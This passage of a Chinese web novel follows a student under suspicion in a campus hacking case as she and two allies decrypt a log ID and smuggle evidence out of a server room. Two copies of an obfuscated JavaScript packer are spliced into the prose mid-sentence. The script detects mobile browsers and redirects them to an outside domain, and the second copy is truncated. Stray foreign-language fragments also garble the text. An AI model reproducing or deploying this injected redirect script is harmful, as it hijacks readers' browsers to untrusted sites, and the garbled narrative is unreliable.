走廊重新变得安静，乔伊疲惫得几乎站不住。学姐伸手扶住她胳膊，轻声安慰：“别怕，一旦调查明确就好了。”顾子衿亦无奈叹息：“对方动作真是快，而且似乎刻意往你这边泼脏水。你们先回去休息，剩下的库房地址，我再和保卫处上层沟通，看能不能部署一场反围剿。” 乔伊儿童般地瘫坐在楼梯口，望着空空荡荡的顶层过道，忽然有种做梦般的不真实。她现在就算想堂堂正正洗清嫌疑，都被对方的精心布局牢牢牵制。她所要面对的不仅仅是“H”某个人，而是一张巨大无比的阴谋之网。 当晚她回宿舍时，林忻尚未睡，正坐在桌旁发呆。见乔伊回来满身疲倦，林忻欲言又止：“你……是不是又去风险地方了？”乔伊心里一暖，知道室友一直关心自己。她轻轻点头，没有细说，只让林忻放心。 躺到床上后，乔伊却毫无睡意。她耳边仿佛仍能听见保卫处的警示声，脑海里飘旋着那张写有神秘符号的纸片，还有实验档案里“拉普拉斯干预”几个字的阴影。风声在窗外低吟，像极了某种沉沉的耳语：“破晓前，总要有人走过至暗的长夜。” 她微阖双眼，自言自语：“拉普拉斯妖，H，学院黑幕……如果这是命运给我的考验，我就算再害怕，也要踏出去。” 14. 雾夜堤岸，心锁难开 夜里突如其来的风雨，将校园每一条林荫道都浇得寂静无言。乔伊从食堂回到宿舍时，已是满身湿漉，靠在门口喘了好一阵子。林忻见她这样，忙递来干毛巾和水杯：“怎么又淋雨了？有没有带伞？”她小心打量乔伊的神色，担忧得很。 乔伊心里一片乱麻，自从上回和“H”深夜对峙后，她就感觉仿佛走入一个越来越庞大的黑洞里。对方威胁尚未消除，而保卫处也因为那段监控缺失，一直没真正信任她。她甚至开始怀疑，若再没有确凿证据与证人，自己最终会不会背上某种莫须有的罪名。 “我没事。”乔伊把湿透的外套搭在椅背上，低声对林忻说，“你先休息，我收拾一下就好。”林忻张张口，却没多问，只点头轻声：“别想着太多，能帮的我们都一定帮你。” 换好干衣服后，乔伊抿着嘴，掏出手机查看，发现学姐发来一条信息：“乔伊，顾子衿那边传来最新结果，你最好今晚就来他实验室看看。有一份重要日志，可能助你洗清嫌疑。” 乔伊心神不由一振，赶紧回到床头，快速敲字回复：“好的，我马上过去。” 她原本想悄悄溜出宿舍，可林忻却早已看透她的动作。林忻皱眉道：“这么晚了，你要去哪儿？”乔伊犹豫片刻，忽然有了坦白的冲动：“去顾子衿那儿……他或许有办法证明我没有参与黑客攻击。”林忻怔住，神情复杂地看向乔伊：“你一个人行吗？要不要我跟你一起？”乔伊摇头：“不想再牵连别人，你放心吧。” 夜风急切地拍打着宿舍楼的窗户。乔伊裹紧外套冲进走廊，借着昏黄灯光一路小跑到楼下。她想起课间听同学闲聊，说最近保卫处的人手已大幅增加，校园巡逻密度加倍，这意味着任意可疑行踪都可能被拦下问话。再加上“H”随时可能潜伏在暗处，让乔伊倍感危机四伏。 好在此时大雨滂沱，也没有多少人愿意在户外逗留。乔伊冒着雨影一路奔到顾子衿所在的实验大楼。那儿的灯仍亮着，她刚碰到门禁系统，实验室的安全门便打开，探出顾子衿的脑袋：“快进来。” 乔伊进屋便看见学姐也在，手上正翻看几份打印资料，似乎是安全层级很高的日志文件。顾子衿按耐住内心激动，把乔伊拉到桌前指着屏幕：“你还记得之前你曾在机房里留的一段算法吗？虽然后来你拒绝替‘H’破坏服务器，但那个算法确实存在过痕迹。我们经过对备份文件的比对，发现了一个时间戳完全对不上：说明那段代码被外人悄悄改写过，且留有隐藏用户ID。” 乔伊一怔，眼睛闪过一丝希冀：“意思是……可以证明我没亲手发动攻击？”顾子衿重重点头：“对，那行代码执行前十秒，系统记录里曾经出现另一个加密ID。我们过去一直没能读出来，但这两天保卫处和技术部联合提升了数据库的权限，我费了好大劲才把它解密，得到的结果就是：ID：H-LPS_02。” “H-LPS_02。”乔伊和学姐对视一眼，都想起之前对方无数次提到“拉普拉斯”的缩写LPS。学姐皱眉道：“看样子，‘H’也不是一人，他们内部可能有人数编号。或者说，这只是‘H’的一部分标识。”她合上资料，语速极快，“有了这个加密ID，就能证明当时你并不单独行动，还有其它人趁机混入执行毁灭指令。这样的话，保卫处对你的怀疑就可能大为缓解。” 喜悦稍纵即逝，乔伊内心却又生出强烈不安：“可对方既然能潜入机房，从根底篡改操作记录，那背后的权限必然不低。学院高层里，会不会有人暗中协助他们？”学姐沉吟：“很难排除这种可能。上回我们发现‘拉普拉斯计划’的零星文档，也有迹象表明学院某些人掌握更深层权限。” 乔伊咬住下唇，仿佛能咬出血来。她一想到自己脚下立身之地，也许已经被无数阴影势力悄然侵蚀，就忍不住一阵心寒。她甚至怀疑：如果拉普拉斯妖正是由某些实验所催生，那自己从很早起便成了他们观察的对象。而“H”这股力量，很可能窥见她是“同类”，所以才选择逼迫她完成那些黑客之事。 她攥紧拳头：“我们现在就去保卫处提交这份证据吗？”顾子衿皱眉：“不行。保卫处里也未必全是可信之人。再者，这份日志文件需进一步查明真伪，才能真正被采信。如果对方听到风声抢先销毁，我们就没胜算了。”乔伊深吸口气：“那怎么办？” 学姐看着夜幕外昏暗的雨线，神情坚决：“先留存好原始记录，我们再做一次交叉验证。我和顾子衿会商量怎么递交给值得信任的高层——比如那位一直盯着此事的严教授，他跟学院某位副院长关系不错，也与保卫处有联系，也许能让我们在安全渠道里做说明。” 乔伊轻轻点头，忽然想起什么：“那……拉普拉斯妖怎么办？我感觉它的干扰越来越频繁。说不定对方也掌握着某种控制手段。刚才我进楼时，脑袋里还闪过一些奇怪画面，好像……”她咬住舌尖没再说下去，那些画面包含了毁灭学院服务器的惨烈结果，有火光，亦有尖锐的警报声。 顾子衿神情凝重：“联系到了那个‘拉普拉斯计划’，我担心它不只是精神错觉。有可能你体内或脑部存在某种特别芯片，或者对方能远程干扰你。”乔伊霍然睁大眼睛，似不敢置信。但学姐叹了口气：“我们必须做好最坏的打算。在真相查明前，你别再独自行动。” 明亮的实验室灯光让乔伊眼睛有些刺痛，她用手背轻轻揉了揉，对学姐微微点头：“我会谨慎，这些天我也确实受够了置身险境的一惊一乍。”她说完，室内一片短暂沉默。只有窗外风雨鼓荡声与电脑主机的轻微轰鸣声交织在一起。 约莫半小时后，三人交换完对策，乔伊才拉开门，打算回宿舍休息。谁知走廊尽头忽然冒出一个身影，雨衣遮得严严实实，看起来并非实验大楼的学生。乔伊和学姐皆是一惊，隐约认出那身形似带着手电筒，显然不属于学院保卫处统一的装备。那人似乎也看到了她们，急速扭身离开，在走廊尽头转角消失。 “不好。”顾子衿当机立断，“可能被对方盯梢了。”学姐随即抓起包：“我们快下楼，别让他跑远。不然周围监控死角那么多，他一溜烟就没影。”于是三人就地开始追，一路冲进楼道。电梯还停在地下室，于是只能飞速奔跑下楼梯。走到三楼时，乔伊眼角瞄到一扇小门哐当关上，像是有人推开后反锁。顾子衿奋力去拍门，却固若金汤——似乎对方早有准备。 “从另一侧。”学姐手里仅有一把雨伞，用力将门旁边的木制隔板撬开，想看能不能翻过。乔伊心如擂鼓，心想：若来人真是“H”或其同伴，为何要潜行到实验大楼门外窥探？又为何特意避开她们？???道他们已经察觉到了这份日志文件的存在？ 正自忖度，远处忽传来一阵急促脚步声和喊声，貌似是保卫处夜间巡逻队。顾子衿赶紧高声呼唤：“这里有可疑人物！快来帮忙！”不久，人声愈响，楼梯间灯火也被打开。保卫处领头的干事快步奔到三人面前：“在哪儿，有多少人？”乔伊指指那扇被反锁的小门：“只有一个，穿雨衣，看不清脸。” 干事没多言，示意下属撬锁突破。可正当他们准备行动时，楼道通往外侧小阳台的窗忽然被人大力撞开，风雨夹裹冷空气瞬间涌入，灯光在雨中摇曳。保卫处几人立刻分头围堵，乔伊和学姐则后撤到安全区域，免得冲突中受伤。可等保卫处赶到阳台时，却只看见一地水渍，哪还有那人的踪影？ 夜雨呼啸，仿佛吞噬所有线索。保卫处干事骂了一声：“这地方在三楼，jump下去非要摔伤不可，他不可能如此冒险，要么还有别的出口。”但搜寻十几分钟后毫无结果，只在阳台顶棚的一角找到一枚轻微卡住的钢索。显然，对方早备了登高滑绳，轻车熟路地逃了。 顾子衿与学姐互相对望，各自心事重重。乔伊则呆立一旁，被雨风吹得头皮发凉，但神智却前所未有清醒：看样子，暗里那股力量果然在盯着她们，只要她们的调查再往前一步，对方就毫不犹豫地采取威慑或破坏手段。 保卫处干事面沉如水，让手下登记现场情况，随后注意到乔伊也在这儿，顿时眉头一拧：“你怎么又是你？”乔伊当然难以解释，只能看向顾子衿，请他帮忙说明。“顾子衿老师，您是技术部吧？好，那你也得写个情况说明。”干事语调带着些强势，顾子衿不得已点头：“我会。” 事情折腾到深夜，保卫处做了简单笔录后，让乔伊等人先行离开，并警告说近期要加倍警惕。雨势依旧淋漓，乔伊走出实验大楼时，发现墙面上的夜灯被风吹得左摇右晃，宛若虚幻的白影。她默默跟学姐共享了雨伞，顾子衿最后一个锁好门，三人告别各回宿舍。临分开时，学姐压低声音叮嘱：“那份日志，我们先备份双重保险，争取明天就对接严教授。你今晚好好休息，别再乱跑。”乔伊轻声应诺。 一路上，乔伊脑海里还在回放那神秘人的背影：肩膀微微耸起，似是负重；他为什么刻意到实验楼观察，是要确认什么？更令她担忧的是，万一对方起疑，打算提前删除关键数据或抹杀所有目击者，该怎么办？她脚步沉重，最终拖着疲惫身躯回到宿舍。 林忻没睡，一直倚在桌前等她。乔伊见灯还亮着，就露出几分歉意：“抱歉，这么晚了。”林忻摆手，说自己正好在复习。乔伊倒了杯温水，一口喝下后才发现自己紧张得喉咙疼痛。林忻轻轻扶住她的手：“还有多久能结束？你整个人都快崩溃了。”乔伊苦笑：“不知道。但愿很快。对不起，总是让你担惊受怕。” 那夜乔伊没再多言，洗漱后便倒头睡去。可躺在床上，她的大脑依旧无法平静，隐约能听见从深处传来的拉普拉斯妖的冷漠声线：“你终究要面对最黑暗的真相——你和‘我们’是一体的。”乔伊吓得翻身，却无法让那声音散去。混沌中，她又仿佛看见在一间布满精密仪器的实验室里，自己年幼时被人注视的景象……黑夜漫长。 第二天清晨，乔伊顶着一对黑眼圈，匆匆赶到教学楼。她原打算直接找学姐，却被告知学姐去院办开临时会议了，似乎与保卫处的人一同安排了某场关于“网络安全”的讨论。乔伊只好先去上课，神思恍惚地过了整整一上午。 下课后，顾子衿发微信给她：“严教授那边已经同意跟我们见面。地点选在学院外的一家茶馆，时间今晚九点。千万别迟到。” 乔伊盯着那行文字，心里隐约喜悦：只要能和严教授直接对话，也许日志文件就能顺利上传到更高层，自己洗清嫌疑的希望也会更大。但她转念又想，如此关键的约见，“H”若早就卧底在学院高层，会不会也监视着这一切？ 可是此时再顾虑也是徒劳。她想起自己此刻的处境：无需再退缩，只能迎难而上。于是她回复：“没问题，我准时到。” 晚间八点半，乔伊简单吃过晚饭，便乘上去往城西的小巴。高新区边上有一条老街，尽头就是那家茶馆。她下车时夜空还淅淅沥沥地飘着细雨，街道灯光昏暗，只有在转角才能看见几盏旧式路灯。她心中微微忐忑，却紧了紧外套走入街巷。 刚到茶馆门口，就见学姐和顾子衿已经等在那里。学姐示意她别声张，三人一同进店，在包厢角落寻了张小方桌。严教授比他们更早到，一身灰色中山装，神色深沉，看上去有点威严。顾子衿立刻把日志文件备份的U盘递过去，如数道来最近调查的情况。严教授不时微微点头，目光在乔伊身上停留良久，仿佛对她抱有几分怜惜。 乔伊一身冷汗，直到顾子衿讲完，严教授才沉声开口：“保卫处目前背负压力很大，但我可以设法把这份证据呈给一位副院长。这位副院长还算正直，若他出面，由学院更高层决定是否彻查。只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013887|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……”他话锋一转，“这也意味着你们的举动会彻底摆到台面上，如果学院里真有人与‘H’暗通款曲，对方必然狗急跳墙。你们要有心理准备。” 乔伊攥紧衣角：“我知道。但我没得选。”学姐拍拍她肩膀：“我们都是。”顾子衿当场和严教授交换了联系方式，两人约好次日中午前后就完成材料递交。学姐松了口气，正要说话，包厢外忽然响起服务员急促的道歉声：“诶先生，先生！？不可以乱闯啊！”接着就听见门猛地被推开，一个陌生男人跑了进来，年纪不大，脸上明显带着慌张。 “对不起，我不是故意的……”那人环顾包厢几人，声音颤抖，“外面……外面好像有人拿着棍子要打我，能不能让我先躲一下？”乔伊一愣，一股莫名警惕升起：此时此地出现一个落难“路人”？未免太巧。严教授偏头朝服务员示意：“没关系，让他暂时进来。”服务员也不知所措，只得退了出去。 乔伊与学姐交换眼色，警惕地挪动位置，生怕对方是“H”派来的探子。那年轻人却只是不停喘气，仿佛真被人追赶。可也怪异的是，他衣服并未淋湿，脸却通红。顾子衿轻咳一声：“你怎么被人追？要不要我们帮你报警？”那人迅速摇头：“别报警，别报警……可能是我欠了他们钱。” 乔伊暗暗心想：欠钱？还是在这么晚的时间，还追到茶馆门口？她注意到那年轻人手竟然一直抖着，无意中露出手腕处一道烟灰色的刺青，依稀是一个扭曲的字母“N”。她脑海里突然浮现某些黑客组织标志，或者说“子组织”里常见的符号……正要仔细看，那人猛然把袖口拉紧，像是害怕被发现。 气氛刹那凝固。学姐站起身，正想让那年轻人离开，可严教授摆了摆手：“这里也不是公共庇护所，先生。若你真有急事，我们可以继续替你叫警察。”那年轻人见情势不妙，眼神开始闪烁不安，几次张口欲言又止，最后忽然扭头就跑。包厢门再度被撞开，还带进了一阵凉风。 顾子衿快步追至门口，只见那年轻人匆忙融入夜色小巷。跟在后面的服务员也满脸尴尬：“真是对不起啊，可能是社会闲散人员。”包厢里剩下乔伊、学姐和严教授，谁都没再说话，可心底却好像埋下一个更加费解的疑团。那年轻人的“刺青”若真与某地下组织相关，又为何会撞到他们这儿来？ 严教授看了眼手表，果断道：“别管了。我们照计划进行，明天我会联系副院长。你们最近最好低调，尤其乔伊，别单独露面。我怀疑学院或者城里确有某些人处心积虑盯着这份证据。先安全回去。”几人点头称是，心里却都清楚，这事可能并不简单。 离开茶馆时，夜色更深，细雨交织着昏暗路灯，让人几乎难以看清远方。乔伊和学姐走在一起，风刮得伞都难以支撑。乔伊忍不住道：“你觉得刚才那个人，会不会是‘H’？或者是被他们利用？”学姐想了想：“不像。‘H’应该更冷静更专业，我倒觉得他可能和‘H’其他小团伙有关。” 乔伊点点头，烦绪如影随形。两人又往前走了几步，就见不远处巷子里好像站着个人影，身形瘦长，正目不转睛地盯着这边。乔伊心猛地一紧，还以为又碰到跟踪。但那人只是静静看了几秒，转身走入黑暗，不见踪迹。 “算了，别再追了，”学姐轻声说，“咱们先回去。”乔伊深吸气，似乎下了某种决心：“明天若顺利提交证据，或许一切都将揭晓。哪怕危险重重，也要拼一次。” 回校路上，乔伊不住回想起严教授提及的“你们要有心理准备”，以及脑海中拉普拉斯妖时隐时现的低语。有人说，在最深沉的夜里才会见到破晓的微光，却也有人说，黎明前最后的黑暗最是刺骨。如果“命运”的连锁让她走到这里，那她——和她的伙伴们——只好誓不后退。 当晚入睡，乔伊恍惚间似乎没有梦到拉普拉斯妖，反倒是一片空白静谧，使得她第二天醒来后，身体疲惫感好像少许消散。只是心头那块大石还在，必须等到严教授那边传来确切消息才算迈出关键步伐。 中午下课后，乔伊赶忙去和学姐、顾子衿汇合。三人找了个偏僻的校园亭子躲雨。谁知刚到没多久，就收到严教授的消息：“副院长办公室临时会议推迟到傍晚，我要等那边讨论结束后才能递交。”乔伊面色黯然，不由地担心对方是否临时转变。学姐也有些忧虑。 傍晚时分，雨势渐止。乔伊守在宿舍里不停看手机，直到夜幕降临，也不见严教授那边再有回音。她越想越焦躁，干脆打电话过去，却无人接听，□□和微信也不见回复。她心里发慌，不禁猜测：难道出事了？ 将近晚上八点，顾子衿忽然给她发讯：“和学姐碰头。我们决定去严教授家看看。听说他提前离开学院，根本没去见副院长。”乔伊吓得倏地从椅子上站起，来不及顾虑是否打草惊蛇，立刻冲出门与他们汇合。 三人打车直奔严教授所住的家属楼，却发现楼道里一片暗，邻居说：“那个老严下午两三点就开车出去了，还没回来。”乔伊一颗心沉至谷底，难道严教授被对方威胁带走？或是他临阵倒戈？ 学姐努力安慰乔伊：“先别慌，我们再去学院门口碰碰运气，也许是临时有事耽搁了。”可乔伊却抑制不住脑中的乱象，一边是拉普拉斯妖尖锐的嘲讽声，一边是“H”阴魂不散的威胁。若严教授真的出了意外，那他们刚到手的日志证据就等于失去最宝贵的通道。 那一刻，她甚至感到自己就像一只被推到悬崖边缘的蚂蚁，每往前一步，都有坠落粉身碎骨的危险。可如果不往前走，这片阴影永远挥之不去。现实与未知的交汇刻在她心口，令她几乎无法呼吸——恍惚间，她似乎听到某个来自精神深处的低语，既像拉普拉斯妖，也似乎包含她自己的声音：“你会继续吗？如果这就是宿命，你还能如何选择？” 15. 蒹葭苍苍，故影自深 雨水又一次在深夜倾泻而下，一如乔伊近来无法平息的内心。她坐在宿舍窗前，瞳孔倒映出宿舍区黯淡的路灯光，微微闪烁，仿佛悬在暗夜中的微芒，也如她此刻对于未来的仅存期盼。只是那光隐约中带着动荡，就像整座学院隐藏的波澜，不知何时会彻底爆发。 她想起前一天和学姐、顾子衿一同与严教授见面的那个场景：一切本该顺利，只要严教授把那份日志证据交给值得信赖的副院长，她就能还自己清白。然而时至此刻，她却连严教授的消息都失去了。更令她焦躁的是，学院的人用一种奇怪的眼神注视她，仿佛她真的和“H”是一伙，而她自己也隐隐担心，拉普拉斯妖那冥冥中的暗示，是否真的与自己出身或童年经历相关？ “一定要查个水落石出。”她握紧了拳头，低声对自己说。宿管楼的铃声提示已经接近熄灯时间，房间另一头林忻看了她一眼，递上热水：“别再熬夜了。你这状态太差。”乔伊苦笑，接过水杯道了声谢，却没有半分睡意。她们都知道，学院里仍有狼在暗处窥伺，而她身上背负的嫌疑还未真正洗清。 她打算再翻看那份日志文件的副本，却发现电脑显示屏上一片雪花点状，网络卡顿得厉害。顾子衿之前提过，保卫处在全校范围内实施了紧急监控，每台接入校园网的设备都要经历层层过滤，因此网速极慢。乔伊咬了咬牙，索性拔下网线，转离线模式，把那文档先复制到U盘。 夜深后，她终于困熬不住，半睡半醒之间，好似又听到熟悉的呼唤：“乔伊……乔伊……”声音虚无，一会儿如耳语，一会儿似极遥远，在蓦然拉开眼时，她看见窗外雨雾中浮现出一个剪影，轮廓极像自己童年某次见过的背影。她なにもわからない似的揉揉眼睛，再定睛看向窗外，空无一物。她却能感觉到拉普拉斯妖在她脑海的某个角落徘徊。 她不知这样过了多久，直到清晨闹铃把她唤醒。林忻早早起来，坐在书桌边写东西，看见乔伊起床，立刻关切问道：“还好吗？”乔伊勉强笑了笑：“没有新情况？”林忻轻轻摇头：“顾子衿没联系你么？”乔伊拿过手机，果然发现还没有未读消息。她默默叹气，准备去洗漱，心里隐隐发酸：好不容易看到的希望，是否又要化作空泡？ 上午的课乔伊几乎是恍恍惚惚地度过。中午刚下课，就见学姐在教学楼外等她，“快，跟我来。”学姐神色焦急，似乎有了新进展。二人蹑手蹑脚来到一块没什么人的树荫下，顾子衿也早已站在那里，面容凝重：“我查过了，严教授的确没回家，也没去副院长办公室。有人看到他下午三点多离开学院，但之后再也没人知道他 whereabouts。” “他会不会是被‘H’抓走了？”乔伊脱口而出。学姐犹豫：“或者他自己选择避风头？他可能感到危险，先躲一阵子。不过最糟糕的是，我们暂时找不到可以替我们出面的人。再过两天，学院就要组织一次高级别会议，据说副院长也在，听说会讨论关于‘黑客嫌疑’与‘拉普拉斯计划’风声的处置。”换言之，如果他们在会议前无法把证据交到可信任的人手里，乔伊就很可能被正式定性为“头号嫌疑人”。 乔伊深感一阵无力：“难道只能靠自己闯关？”顾子衿缓缓呼口气：“我和学姐商量过，不如我们找机会把那份日志文件，以及我们之前搜集的所有线索放到校外的安全服务器上，甚至能够向社会媒体发声，这样就算学院里有内鬼，也没法完全封杀真相。”乔伊心中一动，却隐约顾虑：“可这么做可能会被判为‘对外泄露机密’吧？到时学院会对我们下手更狠。” “是啊，这也是最大风险。”学姐垂下眼睑，“但如果留在校内，我们根本不知道还有谁能相信。而且，’H’随时可能再搞破坏。”顾子衿辅佐道：“只是这个安全服务器不太好找。需要物理层面脱离学院主网，又能保证隐蔽性……我想过一个方法，或许可以用我个人缴费租赁的云资源做跳板，但必须先重置系统端口。操作不难，难的是要在不被发现的前提下潜入主楼机房修改走向。” 乔伊听罢，心里百感交集：一步错，满盘皆输。但再不行动，她就会被置于任人摆布的绝境。深吸一口气，她点头答应：“那就试试。” 当天下午，顾子衿以调试服务器名义向学院技术部申请进入主楼机房。当保卫处人员跟来时，他出示了事先伪造的“维护许可单”，让乔伊和学姐以“技术助理”名义跟随。乔伊原本忐忑，还好对方没多怀疑，放他们进了机房。 机房里冷气十足，服务器列阵中闪烁的指示灯映得眼花缭乱。顾子衿熟门熟路先打开一台管理终端，而乔伊和学姐则佯装检查电源插线，假意配合。经过几分钟试探性敲击键盘，顾子衿对二人交换了一个略带紧张的眼神，示意他们去后端检查网络控制面板。 三人趁保卫处巡逻员不注意，悄悄溜入一块存放老旧设备的隔间。学姐从包里掏出U盘：“这里边是日志文件，我们必须通过连线把它先上传到一台境外服务器，这样就算学院强行切断外网，也无法删除。”顾子衿匆匆打开一台备用控制台，调出终端窗口：“行，我先补丁端口，让它暂时开放外部访问。” 可就在他敲下第一个指令时，学姐瞥见隔间门口阴影一闪，一阵不祥预感袭来。门形如被外力闩住了，而保卫处的人却并不在附近。乔伊紧张地想问学姐是否看见什么，却见学姐朝她猛打手势——“别出声”。 顾子衿的代码运行到一半，机房正前方忽然传来“嘀”的一声警报响，像是系统检测到异常端口尝试。担心惊动保卫处，乔伊立刻说：“能关掉吗？”顾子衿眉头紧锁：“给我一点时间??”他飞快敲键盘，把声音源临时静音处理，并断开了监控回传。学姐松了口气：“再快点，好像有人来了。” 外面脚步渐近，一声陌生男音在机房大声喊：“是谁在擅动端口？快停止操作！”乔伊暗自叫苦：对方绝不是保卫处那拨人，听起来更像一群带有胁迫意味的闯入者。机房入口的门被粗暴撞开，轰地一声，隐约有人低声喝斥：“别跑！搜！” 隔间里的三人对视一眼，顾子衿还在进行数据传输，乔伊攥紧了拳头：“我先去吸引他们。”学姐当即拦住：“太危险。”乔伊侧脸，目光决然：“我一个人可以周旋一会儿，你们把上传搞定，就算我被抓，也不能让证据毁了。”她还没等学姐回应，已经轻轻推开隔间门的一条缝隙，猫着腰溜了出去。 机房狭长的走道里，脚步声和电流声交错，乔伊小心移动脚步，透过服务器架的空隙，看到几个穿着深色衣服、手戴黑手套的人正在翻查终端，并大声询问保卫处的人“谁批你们放人进来的”。保卫处只得一脸茫然地解释。乔伊心想：这些黑衣人颇像上回在暗处出现的“H”同伙，而他们此刻的气焰非常嚣张，显然来势汹汹。 乔伊心口怦怦乱跳，她故意用力敲了一下机柜外壳，“咣——”一声闷响，在寂静的机房听得分外清晰。那几个黑衣人立刻警觉：“谁在那边？”乔伊猛地提气，往另一条通道跑去，假装想逃。黑衣人果然被吸引了注意力，纷纷丢下保卫处往她方向扑来。乔伊透过余光看到保卫处的人面面相觑，似乎也不明白状况，却没有急追她，而是被黑衣人喝令“原地别动”。 乔伊在机房过道左冲右突，险些撞翻一台闲置UPS电源，发出“哐当”巨响。她手心冒汗，强撑着跑动，想把对方尽量往机房深处带。可转过一个服务器列阵时，迎面就看见一道黑影闪过，如鹰般迅疾地伸手卡住她的手臂。 “别动。”那人冷冷的嗓音几乎没有一丝温度。乔伊还想挣扎，却发现对方力气极大，仅一秒就把她死死钳制在服务器旁。余下两名黑衣人也很快赶到，一人似乎在耳机中与什么人对话，低声说：“又抓到一个可疑人物，看上去还是那个被通缉的学生。”乔伊脑门汗涔涔，“通缉”二字让她心中怒火翻腾，可此刻无力辩驳。 “带走。”为首男人冷声下令。乔伊本以为自己要被押出机房，却听见角落处骤然传来一阵凄厉的报警声——那是顾子衿刚刚隐蔽起来的系统，似乎又被对方的某种检测程序发现。黑衣人猛然回头，神情变得极其戒备：“你们还有同伙？” 乔伊咬紧牙关，脑海中隐现拉普拉斯妖的声音：“你该如何选择？若要拯救他们，代价又是什么？”她低吼一声，拼尽全力拧动手臂，竟然在那男人稍有分神之际挣脱几寸，然后飞起一脚踢向旁边放置的一个工具箱，叮叮当当落地声响，吸引了对方更多注意。 电光火石间，她挣扎得肩膀撕裂般疼痛，却也让我方隔间里的顾子衿和学姐获取了几秒宝贵时间。顾子衿趁机敲下最后上传命令。学姐屏息凝神，看见屏幕上显示“已完成”三个小字，整颗心脏悬到嗓子眼，再看顾子衿，亦是满头冷汗。 然而上传成功并不意味着万事大吉。顾子衿知道对方若是发现这一切，还是可能远程干预或找到他们的云端地址。“快走！”他把U盘拔出，塞进背包，和学姐对视一眼，一齐绕过另一侧出口离开。那扇通往机房后门的安全门却被铁链拴住，他们费了好大劲才把链子搬开，期间险些把门闩弄出声响。好不容易，学姐抢先一步推门，小心翼翼回头张望，示意顾子衿脱身。 机房另一头，黑衣人见乔伊一直顽抗，颇为不耐，一掌把她推到墙角。乔伊后背撞上冰冷的服务器外壳，痛得她几乎要昏厥过去；可同时，她感到脑海里像有股热浪涌起，拉普拉斯妖的声音也逐渐清晰：“到此为止了么？你想就这样沉沦吗？”她一阵恍惚，不知该如何回答这迷一样的问题。 其中一个黑衣人接到指令似的冷冷说：“没时间和她纠缠。”然后拔出一个注射器似的东西，朝乔伊逼近。乔伊瞳孔骤缩，磕磕绊绊地想往后缩，却无路可退。那人的手就要抓住她下颔，陡然机房外响起一阵嘈杂人声：“住手！统统不许动！” 是保卫处派来的增援！原来他们起初被这群黑衣人喝令不准乱动，但有些人并不买账，立即报告上级，很快带来了更多人手。黑衣人见状，来不及继续“注射”，只能匆匆撒手闪避。乔伊扶住冰冷的墙壁，脑中嗡嗡作响。 场面顿时一片混乱：保卫处人员与黑衣人胶着，机房的走廊到处是匆忙脚步。为首的黑衣男人似乎不想硬碰硬，带着手下拼命寻求脱身路径。他看了一眼乔伊，眼中闪过一丝凶光，仿佛还想把她一并带走，却被人群阻拦。最后，只能咒骂几句，硬生生把一个保卫处队员推倒，率先冲出机房。 “快抓住他们！”保卫处队长一声令下，十多号人追赶出去，机房里只剩下三四个受伤的保卫处队员，和乔伊。她双膝发软，一下坐到地上，大口喘息。保卫处的人注意到她，赶忙围过来：“你没事吧？”乔伊没有力气回应，只在胸口微微捂住被撞痛的位置，不停地深呼吸。 她不知道学姐和顾子衿是否成功逃脱，也不知道日志文件是否上传完毕。此刻唯一能确定的是，如果险些被那注射器击中，后果不堪设想。她缓了好一会儿，才在保卫处人员搀扶下站起身。这些保卫处的人也满是疑虑地盯着她，有人认出她身份：“乔伊？你怎么又在机房？”乔伊无法回答，只能支支吾吾说是临时维护任务。队长眉沁冷汗：“你知道刚才那些黑衣人是谁吗？” 乔伊脑中盘旋着“H”的名字，却没有立刻说出口。她突然意识到：保卫处里也未必人人值得信任。犹豫再三，她只说：“他们袭击我，并且想破坏服务器。”然后顿住。对方也看得出她不愿多谈，警惕地皱眉：“行，我们先送你去医务室。其他事等上头调查。” 上头？乔伊突然不寒而栗，若其中有人是“H”的同伙，自己岂不是自投罗网？思及此，她暗暗咬牙，必须尽快脱身。 医疗组人员匆匆赶来，想把乔伊带上救护车到医院做检查。乔伊硬撑起身，找借口说自己只是撞伤，不严重，不需去医院，让他们替自己简单包扎一下就行。对方看她还能勉强讲话，只能作罢。等到他们忙着处理其他受伤者时，乔伊偷偷溜出机房，挣扎着在走廊尽头找到了通往地下室的小门，一头钻进去。 那晦暗的走道里散发着陈旧灰尘味，冷气不及地面，令人呼吸不畅。乔伊半边肩膀还在微微颤抖，她不知道自己该去哪，脑子里一片糟乱，也隐约担心学姐和顾子衿的安危。她摸出手机才发现屏幕碎了，无法开机。 绝望的情绪涌上来时，她又一次听到那个熟悉却冷漠的声音——拉普拉斯妖：“你要就此放弃吗？若你现在停下，那些人已经得到了关键数据，或许就能颠倒一切黑白。你选择，屈服还是前行？”乔伊努力让思绪保持清醒：“我绝不屈服。” 她颤巍巍地走过昏暗走廊，踏上楼梯时，却被上方突如其来的灯光刺了一下眼。有人低喊：“乔伊？”那声音有些焦急。不一会儿，学姐与顾子衿的身影出现在她眼前。学姐紧跑两步扶住她：“你还好吧？我们正找你，差点急死！”顾子衿本也想上前，却见乔伊伤得不轻，赶紧在旁边护着：“对不起，刚才那边太混乱，我们没能来得及救你。” 看见他们完好无损，乔伊心中大石落下一半，强撑笑意：“我……还好，你们那边成功了吗？”顾子衿重重点头：“日志文件已传出去了。暂时是成功。但保不齐对方会有反制……我们的时间不多了。” 机房外警报大作，保卫处与黑衣人互相争斗的余波尚未平息。这时，学姐指了指身后：“先离开这里再说。”顾子衿看了看周围，压低声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 